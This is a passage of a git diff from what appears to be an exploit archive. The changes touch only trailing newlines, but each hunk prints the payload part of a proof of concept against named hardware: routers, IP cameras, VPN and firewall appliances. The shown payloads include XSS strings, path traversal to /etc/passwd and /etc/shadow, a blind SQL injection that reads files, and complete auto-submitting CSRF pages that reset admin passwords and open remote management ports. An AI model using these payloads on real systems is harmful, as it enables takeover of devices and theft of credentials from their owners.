ACTION_POST=final&f_enable=1&f_wps_enable=1&f_ssid=KingGeorgeV&f_channel=6&f_auto_channel=0&f_super_g=&f_xr=&f_txrate=0&f_wmm_enable=0&f_ap_hidden=0&f_authentication=7&f_cipher=2&f_wep_len=&f_wep_format=&f_wep_def_key=&f_wep=&f_wpa_psk_type=1&f_wpa_psk= -<<the_wifi_password_here>>&f_radius_ip1=&f_radius_port1=&f_radius_secret1= \ No newline at end of file +<<the_wifi_password_here>>&f_radius_ip1=&f_radius_port1=&f_radius_secret1= \ No newline at end of file diff --git a/platforms/hardware/remote/35170.txt b/platforms/hardware/remote/35170.txt index 9b1203e2b..8bb0e5900 100755 --- a/platforms/hardware/remote/35170.txt +++ b/platforms/hardware/remote/35170.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in Lexmark Printer X651de is vulnerable; other versions may also be affected. -nmap --script=pjl-ready-message.nse --script-args='pjl_ready_message="<script>alert(1);</script>"' \ No newline at end of file +nmap --script=pjl-ready-message.nse --script-args='pjl_ready_message="<script>alert(1);</script>"' \ No newline at end of file diff --git a/platforms/hardware/remote/35317.txt b/platforms/hardware/remote/35317.txt index bfda3564f..0f4e3e508 100755 --- a/platforms/hardware/remote/35317.txt +++ b/platforms/hardware/remote/35317.txt @@ -15,4 +15,4 @@ http://www.example.com/conf/ssl/openssl.pem http://www.example.com/conf/integrity.xml http://www.example.com/conf/jaas/users.xml http://www.example.com/bin/DBSeed.xml -http://www.example.com:8080/conf/ssl/apache/integrity-smartcenter.cert \ No newline at end of file +http://www.example.com:8080/conf/ssl/apache/integrity-smartcenter.cert \ No newline at end of file diff --git a/platforms/hardware/remote/35620.txt b/platforms/hardware/remote/35620.txt index 10420b8ff..250f5edfc 100755 --- a/platforms/hardware/remote/35620.txt +++ b/platforms/hardware/remote/35620.txt @@ -8,4 +8,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Firmware versions prior to 8.2.7.6 are vulnerable. -http://www.example.com/cgi/b/ic/connect/?url=[XSS] \ No newline at end of file +http://www.example.com/cgi/b/ic/connect/?url=[XSS] \ No newline at end of file diff --git a/platforms/hardware/remote/35800.txt b/platforms/hardware/remote/35800.txt index 14b536562..08c8bdcd4 100755 --- a/platforms/hardware/remote/35800.txt +++ b/platforms/hardware/remote/35800.txt @@ -6,4 +6,4 @@ Successful exploits will allow a remote attacker to gain access to sensitive inf the following proof of concept is available: -\xff\xff\xff\xff\xff\xff\x00\x06\xff\xf9 \ No newline at end of file +\xff\xff\xff\xff\xff\xff\x00\x06\xff\xf9 \ No newline at end of file diff --git a/platforms/hardware/remote/35817.txt b/platforms/hardware/remote/35817.txt index 14a541fa8..6e6653718 100755 --- a/platforms/hardware/remote/35817.txt +++ b/platforms/hardware/remote/35817.txt @@ -7,4 +7,4 @@ A remote attacker can exploit these issues to obtain sensitive information that WNDAP350 with firmware 2.0.1 and 2.0.9 are vulnerable; other firmware versions may also be affected. http://www.example.com/downloadFile.php -http://www.example.com/BackupConfig.php \ No newline at end of file +http://www.example.com/BackupConfig.php \ No newline at end of file diff --git a/platforms/hardware/remote/35932.c b/platforms/hardware/remote/35932.c index 6dfd7295a..18b9f0414 100755 --- a/platforms/hardware/remote/35932.c +++ b/platforms/hardware/remote/35932.c @@ -1,4 +1,4 @@ -/* + /* ** File : satcompwn.c - [VSAT SAILOR SAT COM 900 Remote 0day] ** Author : Nicholas Lemonias ** diff --git a/platforms/hardware/remote/36205.txt b/platforms/hardware/remote/36205.txt index d0d0b719d..540945ed9 100755 --- a/platforms/hardware/remote/36205.txt +++ b/platforms/hardware/remote/36205.txt @@ -8,4 +8,4 @@ GET /log.wri HTTP/1.0 Host: 123.123.123.123 Connection: close User-Agent: brute-forcing -Cookie: SessId=111111111 \ No newline at end of file +Cookie: SessId=111111111 \ No newline at end of file diff --git a/platforms/hardware/remote/36256.txt b/platforms/hardware/remote/36256.txt index b5e90baa0..23725ffa8 100755 --- a/platforms/hardware/remote/36256.txt +++ b/platforms/hardware/remote/36256.txt @@ -14,4 +14,4 @@ Cisco Unified Communications Manager http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd -http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../usr/local/platform/conf/platformConfig.xml \ No newline at end of file +http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../usr/local/platform/conf/platformConfig.xml \ No newline at end of file diff --git a/platforms/hardware/remote/36286.txt b/platforms/hardware/remote/36286.txt index 7a56ca2d1..07a98bcae 100755 --- a/platforms/hardware/remote/36286.txt +++ b/platforms/hardware/remote/36286.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability would allow an attacker to obtain potentially sens DreamBox DM800 versions 1.5rc1 and prior are vulnerable. -http://www.example.com/file/?file=[LFD] \ No newline at end of file +http://www.example.com/file/?file=[LFD] \ No newline at end of file diff --git a/platforms/hardware/remote/36475.txt b/platforms/hardware/remote/36475.txt index 34c229a38..352f70568 100755 --- a/platforms/hardware/remote/36475.txt +++ b/platforms/hardware/remote/36475.txt @@ -5,4 +5,4 @@ Barracuda Control Center 620 is prone to an HTML injection vulnerability and mul Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. https://www.example.com/bcc/editdevices.jsp?device-type=spyware&selected-node=1&containerid=[IVE] -https://www.example.com/bcc/main.jsp?device-type=[IVE] \ No newline at end of file +https://www.example.com/bcc/main.jsp?device-type=[IVE] \ No newline at end of file diff --git a/platforms/hardware/remote/36670.txt b/platforms/hardware/remote/36670.txt index 618640c86..9dac3dba5 100755 --- a/platforms/hardware/remote/36670.txt +++ b/platforms/hardware/remote/36670.txt @@ -11,4 +11,4 @@ D-Link DNS-325 ShareCenter http://www.example.com/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=ls http://www.example.com/cgi-bin/discovery.cgi -http://www.example.com/cgi-bin/system_mgr.cgi?cmd=get_firm_v_xml \ No newline at end of file +http://www.example.com/cgi-bin/system_mgr.cgi?cmd=get_firm_v_xml \ No newline at end of file diff --git a/platforms/hardware/remote/36680.txt b/platforms/hardware/remote/36680.txt index 223fb6563..e661db139 100755 --- a/platforms/hardware/remote/36680.txt +++ b/platforms/hardware/remote/36680.txt @@ -4,4 +4,4 @@ Multiple Trendnet Camera products are prone to a remote security-bypass vulnerab Successfully exploiting this issue will allow remote attackers to gain access to a live stream from the camera. -http://www.example.com/anony/mjpg.cgi \ No newline at end of file +http://www.example.com/anony/mjpg.cgi \ No newline at end of file diff --git a/platforms/hardware/remote/36831.txt b/platforms/hardware/remote/36831.txt index 25d5550f2..393782b6f 100755 --- a/platforms/hardware/remote/36831.txt +++ b/platforms/hardware/remote/36831.txt @@ -4,4 +4,4 @@ Endian Firewall is prone to multiple cross-site scripting vulnerabilities becaus Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible. -https://www.example.com/cgi-bin/openvpn_users.cgi?=[XSS] \ No newline at end of file +https://www.example.com/cgi-bin/openvpn_users.cgi?=[XSS] \ No newline at end of file diff --git a/platforms/hardware/remote/36832.txt b/platforms/hardware/remote/36832.txt index 5442708fe..f3ae299f3 100755 --- a/platforms/hardware/remote/36832.txt +++ b/platforms/hardware/remote/36832.txt @@ -4,4 +4,4 @@ Endian Firewall is prone to multiple cross-site scripting vulnerabilities becaus Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible. -https://www.example.com/cgi-bin/dnat.cgi#createrule[XSS] \ No newline at end of file +https://www.example.com/cgi-bin/dnat.cgi#createrule[XSS] \ No newline at end of file diff --git a/platforms/hardware/remote/36833.txt b/platforms/hardware/remote/36833.txt index dc6baf7f0..37248277b 100755 --- a/platforms/hardware/remote/36833.txt +++ b/platforms/hardware/remote/36833.txt @@ -4,4 +4,4 @@ Endian Firewall is prone to multiple cross-site scripting vulnerabilities becaus Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible. -https://www.example.com/cgi-bin/dansguardian.cgi#addrule[XSS] \ No newline at end of file +https://www.example.com/cgi-bin/dansguardian.cgi#addrule[XSS] \ No newline at end of file diff --git a/platforms/hardware/remote/36877.html b/platforms/hardware/remote/36877.html index c1f16995a..9984c6702 100755 --- a/platforms/hardware/remote/36877.html +++ b/platforms/hardware/remote/36877.html @@ -13,4 +13,4 @@ This issue affects D-Link DCS-900, DCS-2000, and DCS-5300. <input type="hidden" name="confirm" value="your_pass"/> </form> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/hardware/remote/36995.txt b/platforms/hardware/remote/36995.txt index 0327c0bc0..0439ebf1c 100755 --- a/platforms/hardware/remote/36995.txt +++ b/platforms/hardware/remote/36995.txt @@ -15,4 +15,4 @@ The following versions of FirePass are affected: state=%2527+and+ (case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+ -BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ \ No newline at end of file +BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ \ No newline at end of file diff --git a/platforms/hardware/remote/37037.txt b/platforms/hardware/remote/37037.txt index 35d412228..97b33805b 100755 --- a/platforms/hardware/remote/37037.txt +++ b/platforms/hardware/remote/37037.txt @@ -4,4 +4,4 @@ Peakflow SP is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -https://www.example.com/index/"onmouseover="alert(666) \ No newline at end of file +https://www.example.com/index/"onmouseover="alert(666) \ No newline at end of file diff --git a/platforms/hardware/remote/37141.txt b/platforms/hardware/remote/37141.txt index 5b7a7fb8a..2934ea8b8 100755 --- a/platforms/hardware/remote/37141.txt +++ b/platforms/hardware/remote/37141.txt @@ -4,4 +4,4 @@ The Linksys WRT54GL router is prone to a cross-site request-forgery vulnerabilit Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible. -submit_button=Management&change_action=&action=Apply&PasswdModify=1&remote_mgt_https=0&http_enable=1&https_enable=0&wait_time=4&need_reboot=0&http_passwd=YOUR PASSWORD&http_passwdConfirm=YOUR PASSWORD&_http_enable=1&web_wl_filter=0&remote_management=0&upnp_enable=1 \ No newline at end of file +submit_button=Management&change_action=&action=Apply&PasswdModify=1&remote_mgt_https=0&http_enable=1&https_enable=0&wait_time=4&need_reboot=0&http_passwd=YOUR PASSWORD&http_passwdConfirm=YOUR PASSWORD&_http_enable=1&web_wl_filter=0&remote_management=0&upnp_enable=1 \ No newline at end of file diff --git a/platforms/hardware/remote/37429.txt b/platforms/hardware/remote/37429.txt index 5a8f70d2d..ad5bb1ef7 100755 --- a/platforms/hardware/remote/37429.txt +++ b/platforms/hardware/remote/37429.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Mobility System Software versions prior to 7.6.3 and 7.7.1 are vulnerable. -https://www.example.com/aaa/wba_login.html?wbaredirect=wba-dnserror&9f45dâ?><script>alert(1)</script>22whatever=1 \ No newline at end of file +https://www.example.com/aaa/wba_login.html?wbaredirect=wba-dnserror&9f45dâ?><script>alert(1)</script>22whatever=1 \ No newline at end of file diff --git a/platforms/hardware/remote/37512.txt b/platforms/hardware/remote/37512.txt index 2a22dfecf..90d522fb7 100755 --- a/platforms/hardware/remote/37512.txt +++ b/platforms/hardware/remote/37512.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Barracuda SSL VPN 680 versions prior to 2.2.2.203 are vulnerable. -www.example.com/launchAgent.do?launchId=l3ce418&returnTo=[NON-PERSISTENT SCRIPT CODE!] \ No newline at end of file +www.example.com/launchAgent.do?launchId=l3ce418&returnTo=[NON-PERSISTENT SCRIPT CODE!] \ No newline at end of file diff --git a/platforms/hardware/remote/37513.txt b/platforms/hardware/remote/37513.txt index 87d6b680d..9b80a5a98 100755 --- a/platforms/hardware/remote/37513.txt +++ b/platforms/hardware/remote/37513.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Barracuda SSL VPN 680 versions prior to 2.2.2.203 are vulnerable. -www.example.com/fileSystem.do?launchId=l52ca6d&actionTarget=list&path=smb/Sales%20Folder/Testing %20from%20Tri%20Opt/%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C \ No newline at end of file +www.example.com/fileSystem.do?launchId=l52ca6d&actionTarget=list&path=smb/Sales%20Folder/Testing %20from%20Tri%20Opt/%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C \ No newline at end of file diff --git a/platforms/hardware/remote/37969.txt b/platforms/hardware/remote/37969.txt index cde1670a4..7e419fb67 100755 --- a/platforms/hardware/remote/37969.txt +++ b/platforms/hardware/remote/37969.txt @@ -6,4 +6,4 @@ A successful exploit may aid in phishing attacks; other attacks are possible. Versions prior to FirePass 7.0.0 HF-70-7 and 6.1.0 HF-610-9 are vulnerable. -http://www.example.com/my.activation.cns.php3?langchar=&ui_translation=&refreshURL==http://attacker \ No newline at end of file +http://www.example.com/my.activation.cns.php3?langchar=&ui_translation=&refreshURL==http://attacker \ No newline at end of file diff --git a/platforms/hardware/remote/38100.txt b/platforms/hardware/remote/38100.txt index 51c332044..54c33616c 100755 --- a/platforms/hardware/remote/38100.txt +++ b/platforms/hardware/remote/38100.txt @@ -14,4 +14,4 @@ FortiWeb Virtual Appliance https://www.example.com/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C -https://www.example.com/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 \ No newline at end of file +https://www.example.com/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 \ No newline at end of file diff --git a/platforms/hardware/remote/38389.txt b/platforms/hardware/remote/38389.txt index c4b939fde..5d37a5540 100755 --- a/platforms/hardware/remote/38389.txt +++ b/platforms/hardware/remote/38389.txt @@ -14,4 +14,4 @@ http://www.example.com/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../.. http://www.example.com/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/shadow http://www.example.com/monitor/logselect.php http://www.example.com/broadware.jsp -http://www.example.com/vsom/index.php/"/title><script>alert("ciscoxss");</script> \ No newline at end of file +http://www.example.com/vsom/index.php/"/title><script>alert("ciscoxss");</script> \ No newline at end of file diff --git a/platforms/hardware/remote/38437.txt b/platforms/hardware/remote/38437.txt index 65aec2537..0097440be 100755 --- a/platforms/hardware/remote/38437.txt +++ b/platforms/hardware/remote/38437.txt @@ -9,4 +9,4 @@ The following products are vulnerable: Foscam FI8910W running Embedded Web Interface 2.4.10.3 Foscam FI8908W running Embedded Web Interface 2.4.10.3 -http://www.example.com/set_users.cgi?user1=&pwd1=&pri1=2&user2=&pwd2=&pri2=&user3=&pwd3=&pri3=&user4=&pwd4=&pri4=&user5=&pwd5=&pri5=&user6=&pwd6=&pri6=&user7=&pwd7=&pri7=&user8=csrf&pwd8=csrf&pri8=2&next_url= \ No newline at end of file +http://www.example.com/set_users.cgi?user1=&pwd1=&pri1=2&user2=&pwd2=&pri2=&user3=&pwd3=&pri3=&user4=&pwd4=&pri4=&user5=&pwd5=&pri5=&user6=&pwd6=&pri6=&user7=&pwd7=&pri7=&user8=csrf&pwd8=csrf&pri8=2&next_url= \ No newline at end of file diff --git a/platforms/hardware/remote/38464.txt b/platforms/hardware/remote/38464.txt index 4d68d03ee..c063b6850 100755 --- a/platforms/hardware/remote/38464.txt +++ b/platforms/hardware/remote/38464.txt @@ -22,4 +22,4 @@ Proxy-Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 47 -submit_button=xss'%3balert(1)//934&action=Apply \ No newline at end of file +submit_button=xss'%3balert(1)//934&action=Apply \ No newline at end of file diff --git a/platforms/hardware/remote/38481.html b/platforms/hardware/remote/38481.html index c22af372c..4b1b15bc8 100755 --- a/platforms/hardware/remote/38481.html +++ b/platforms/hardware/remote/38481.html @@ -6,4 +6,4 @@ Exploiting this issue may allow a remote attacker to perform certain administrat D-Link DIR-865L firmware version 1.03 is vulnerable; other versions may also be affected. -<html> <head> <title> D-LINK DIR-865L CSRF</title> <!-- Firmware Version: 1.03 Fri 02 Nov 2012 --> </head> <body> <form name="dlinkXML" action="http://192.168.0.1/hedwig.cgi" enctype="text/plain" method="post"> <input type="hidden" name="<?xml version" value="'1.0' encoding='UTF-8'?> <postxml> <module> <service>DEVICE.ACCOUNT</service> <device> <gw_name>DIR-865L</gw_name> <account> <seqno>1</seqno> <max>2</max> <count>1</count> <entry> <uid>USR-</uid> <name>Admin</name> <usrid/> <password>ISE</password> <group>0</group> <description/> </entry> </account> <group> <seqno/> <max/> <count>0</count> </group> <session> <captcha>0</captcha> <dummy/> <timeout>600</timeout> <maxsession>128</maxsession> <maxauthorized>16</maxauthorized> </session> </device> </module> <module> <service>HTTP.WAN-1</service> <inf> <web>1337</web> <https_rport></https_rport> <stunnel>1</stunnel> <weballow> <hostv4ip/> </weballow> <inbfilter></inbfilter> </inf> </module> <module> <service>HTTP.WAN-2</service> <inf> <web>1337</web> <weballow></weballow> </inf> </module> <module> <service>INBFILTER</service> <acl> <inbfilter> <seqno>1</seqno> <max>24</max> <count>0</count> </inbfilter> </acl> <ACTIVATE>ignore</ACTIVATE> <FATLADY>ignore</FATLADY> <SETCFG>ignore</SETCFG> </module> <module> <service>SHAREPORT</service> <FATLADY>ignore</FATLADY> <ACTIVATE>ignore</ACTIVATE> </module> </postxml>"> </form> <script> function CSRF1() {document.dlinkXML.submit();};window.setTimeout(CSRF1,1000) function CSRF2() {window.open("http://192.168.0.100/dlinkCSRF2.html");}; window.setTimeout(CSRF2,1000) </script> </body> </html> \ No newline at end of file +<html> <head> <title> D-LINK DIR-865L CSRF</title> <!-- Firmware Version: 1.03 Fri 02 Nov 2012 --> </head> <body> <form name="dlinkXML" action="http://192.168.0.1/hedwig.cgi" enctype="text/plain" method="post"> <input type="hidden" name="<?xml version" value="'1.0' encoding='UTF-8'?> <postxml> <module> <service>DEVICE.ACCOUNT</service> <device> <gw_name>DIR-865L</gw_name> <account> <seqno>1</seqno> <max>2</max> <count>1</count> <entry> <uid>USR-</uid> <name>Admin</name> <usrid/> <password>ISE</password> <group>0</group> <description/> </entry> </account> <group> <seqno/> <max/> <count>0</count> </group> <session> <captcha>0</captcha> <dummy/> <timeout>600</timeout> <maxsession>128</maxsession> <maxauthorized>16</maxauthorized> </session> </device> </module> <module> <service>HTTP.WAN-1</service> <inf> <web>1337</web> <https_rport></https_rport> <stunnel>1</stunnel> <weballow> <hostv4ip/> </weballow> <inbfilter></inbfilter> </inf> </module> <module> <service>HTTP.WAN-2</service> <inf> <web>1337</web> <weballow></weballow> </inf> </module> <module> <service>INBFILTER</service> <acl> <inbfilter> <seqno>1</seqno> <max>24</max> <count>0</count> </inbfilter> </acl> <ACTIVATE>ignore</ACTIVATE> <FATLADY>ignore</FATLADY> <SETCFG>ignore</SETCFG> </module> <module> <service>SHAREPORT</service> <FATLADY>ignore</FATLADY> <ACTIVATE>ignore</ACTIVATE> </module> </postxml>"> </form> <script> function CSRF1() {document.dlinkXML.submit();};window.setTimeout(CSRF1,1000) function CSRF2() {window.open("http://192.168.0.100/dlinkCSRF2.html");}; window.setTimeout(CSRF2,1000) </script> </body> </html> \ No newline at end of file diff --git a/platforms/hardware/remote/38492.html b/platforms/hardware/remote/38492.html index aa6b8f5a0..4f88c8dda 100755 --- a/platforms/hardware/remote/38492.html +++ b/platforms/hardware/remote/38492.html @@ -4,4 +4,4 @@ The TP-Link TL-WR1043N Router is prone to a cross-site request-forgery vulnerabi Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected device. -d> <title>Cisco WRT310Nv2 Firmware v2.0.01 CSRF/XSS</title> <!--*Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators --> </head> <body> <form name="CSRFxssPWN" action="http://ww.example.com/apply.cgi" method="post"/> <input type="hidden" name="submit_button" value="Management"/> <input type="hidden" name="action" value="Apply"/> <input type="hidden" name="PasswdModify" value="1"/> <input type="hidden" name="http_enable" value="1"/> <input type="hidden" name="wait_time" value="0"/> <input type="hidden" name="http_passwd" value="ISE_1337"/> <input type="hidden" name="http_passwdConfirm" value="ISE_1337"/> <input type="hidden" name="_http_enable" value="1"/> <input type="hidden" name="remote_management" value="1"/> <input type="hidden" name="remote_upgrade" value="1"/> <input type="hidden" name="remote_ip_any" value="1"/> <input type="hidden" name="http_wanport" value="1337"/> <input type="hidden" name="upnp_enable" value="1"/> <input type="hidden" name="upnp_config" value="1"/> <input type="hidden" name="upnp_internet_dis" value="1"/> </form> <script> function PwN() {document.CSRFxssPWN.submit();}; window.setTimeout(PwN, 0025); </script> <body> </html> \ No newline at end of file +d> <title>Cisco WRT310Nv2 Firmware v2.0.01 CSRF/XSS</title> <!--*Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators --> </head> <body> <form name="CSRFxssPWN" action="http://ww.example.com/apply.cgi" method="post"/> <input type="hidden" name="submit_button" value="Management"/> <input type="hidden" name="action" value="Apply"/> <input type="hidden" name="PasswdModify" value="1"/> <input type="hidden" name="http_enable" value="1"/> <input type="hidden" name="wait_time" value="0"/> <input type="hidden" name="http_passwd" value="ISE_1337"/> <input type="hidden" name="http_passwdConfirm" value="ISE_1337"/> <input type="hidden" name="_http_enable" value="1"/> <input type="hidden" name="remote_management" value="1"/> <input type="hidden" name="remote_upgrade" value="1"/> <input type="hidden" name="remote_ip_any" value="1"/> <input type="hidden" name="http_wanport" value="1337"/> <input type="hidden" name="upnp_enable" value="1"/> <input type="hidden" name="upnp_config" value="1"/> <input type="hidden" name="upnp_internet_dis" value="1"/> </form> <script> function PwN() {document.CSRFxssPWN.submit();}; window.setTimeout(PwN, 0025); </script> <body> </html> \ No newline at end of file diff --git a/platforms/hardware/remote/38495.html b/platforms/hardware/remote/38495.html index 0508354ad..a22b1e748 100755 --- a/platforms/hardware/remote/38495.html +++ b/platforms/hardware/remote/38495.html @@ -4,4 +4,4 @@ Belkin F5D8236-4 Router is prone to a cross-site request-forgery vulnerability. Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected device. -<html> <head> <title>Belkin F5D8236-4 v2 CSRF - Enable Remote MGMT.</title> <!-- Use JavaScript debugging to bypass authentication --> <!--*Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators --> </head> <body> <form name="belkin" action="http://X.X.X.X/cgi-bin/system_setting.exe" method="post"/> <input type="hidden" name="remote_mgmt_enabled" value="1"/> <input type="hidden" name="remote_mgmt_port" value="31337"/> <input type="hidden" name="allow_remote_ip" value="0"/> </form> <script> function BeLkIn() {document.belkin.submit();}; window.setTimeout(BeLkIn, 0000); </script> <body> </html> \ No newline at end of file +<html> <head> <title>Belkin F5D8236-4 v2 CSRF - Enable Remote MGMT.</title> <!-- Use JavaScript debugging to bypass authentication --> <!--*Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators --> </head> <body> <form name="belkin" action="http://X.X.X.X/cgi-bin/system_setting.exe" method="post"/> <input type="hidden" name="remote_mgmt_enabled" value="1"/> <input type="hidden" name="remote_mgmt_port" value="31337"/> <input type="hidden" name="allow_remote_ip" value="0"/> </form> <script> function BeLkIn() {document.belkin.submit();}; window.setTimeout(BeLkIn, 0000); </script> <body> </html> \ No newline at end of file diff --git a/platforms/hardware/remote/38501.txt b/platforms/hardware/remote/38501.txt index 1c8685efb..dd605972b 100755 --- a/platforms/hardware/remote/38501.txt +++ b/platforms/hardware/remote/38501.txt @@ -8,4 +8,4 @@ Cisco Linksys E1200 N300 running firmware 2.0.04 is vulnerable. http://www.example.com/apply.cgi?submit_button=%27%3b%20%3C%2fscript%3E%3Cscript%3Ealert%281%29%3C%2fscript%3E%20%27 -http://www.example.com/apply.cgi?submit_button=index%27%3b%20%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%20%27&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&switch_mode=0&hnap_devicename=Cisco10002&need_reboot=0&user_language=&wait_time=0&dhcp_start=100&dhcp_start_conflict=0&lan_ipaddr=4&ppp_demand_pppoe=9&ppp_demand_pptp=9&ppp_demand_l2tp=9&ppp_demand_hb=9&wan_ipv6_proto=dhcp-tunnel&detect_lang=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&machine_name=Cisco10002&lan_proto=dhcp&dhcp_check=&dhcp_start_tmp=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1 \ No newline at end of file +http://www.example.com/apply.cgi?submit_button=index%27%3b%20%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%20%27&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&switch_mode=0&hnap_devicename=Cisco10002&need_reboot=0&user_language=&wait_time=0&dhcp_start=100&dhcp_start_conflict=0&lan_ipaddr=4&ppp_demand_pppoe=9&ppp_demand_pptp=9&ppp_demand_l2tp=9&ppp_demand_hb=9&wan_ipv6_proto=dhcp-tunnel&detect_lang=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&machine_name=Cisco10002&lan_proto=dhcp&dhcp_check=&dhcp_start_tmp=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1 \ No newline at end of file diff --git a/platforms/hardware/remote/38536.txt b/platforms/hardware/remote/38536.txt index 0fb6f6df6..caec5daca 100755 --- a/platforms/hardware/remote/38536.txt +++ b/platforms/hardware/remote/38536.txt @@ -8,4 +8,4 @@ Barracuda SSL VPN 680 2.2.2.203 is vulnerable; other versions may also be affect https://www.example.com/launchApplication.do?resourceId=1&policy=1&returnTo=%2FshowApplicationShortcuts.do https://www.exmaple.com/launchApplication.do?resourceId=1&policy=1&returnTo=http://www.example.com -https://www.exmaple.com/[FILE].do?[RES+ID]=x&[POLICY]=x&returnTo=[EXTERNAL TARGET] \ No newline at end of file +https://www.exmaple.com/[FILE].do?[RES+ID]=x&[POLICY]=x&returnTo=[EXTERNAL TARGET] \ No newline at end of file diff --git a/platforms/hardware/remote/38582.html b/platforms/hardware/remote/38582.html index dc50ff532..8cd6022e9 100755 --- a/platforms/hardware/remote/38582.html +++ b/platforms/hardware/remote/38582.html @@ -17,4 +17,4 @@ Brickcom cameras running firmware 3.0.6.7, 3.0.6.12, and 3.0.6.16C1 are vulnerab <script>document.gobap.submit();</script> </form> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/hardware/remote/38584.txt b/platforms/hardware/remote/38584.txt index d2c4af3ac..346f8b055 100755 --- a/platforms/hardware/remote/38584.txt +++ b/platforms/hardware/remote/38584.txt @@ -4,4 +4,4 @@ Grandstream multiple IP cameras including GXV3501, GXV3504, GXV3601, GXV3601HD/L Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. -http://www.example.com/goform/usermanage?cmd=add&user.name=test3&user.password=test3&user.level=0 \ No newline at end of file +http://www.example.com/goform/usermanage?cmd=add&user.name=test3&user.password=test3&user.level=0 \ No newline at end of file diff --git a/platforms/hardware/remote/38671.txt b/platforms/hardware/remote/38671.txt index 4c498526c..19b97287b 100755 --- a/platforms/hardware/remote/38671.txt +++ b/platforms/hardware/remote/38671.txt @@ -10,4 +10,4 @@ http://www.example.com/gui/route/route?%3C[CLIENT-SIDE SCRIPT CODE!]%20%3C http://www.example.com/gui/route/route?_=1354073910062&bbx_outbound_route_flag_locked=%3C[CLIENT-SIDE SCRIPT CODE!]%20%3C http://www.example.com/ajax-html/queues_wall_stub.html?_=1354074247075%20%3C[CLIENT-SIDE SCRIPT CODE!]%20%3C# -http://www.example.com/ajax-html/queues_wall_stub.html?_=1354074247075%20%3C[CLIENT-SIDE SCRIPT CODE!]%20%3C# \ No newline at end of file +http://www.example.com/ajax-html/queues_wall_stub.html?_=1354074247075%20%3C[CLIENT-SIDE SCRIPT 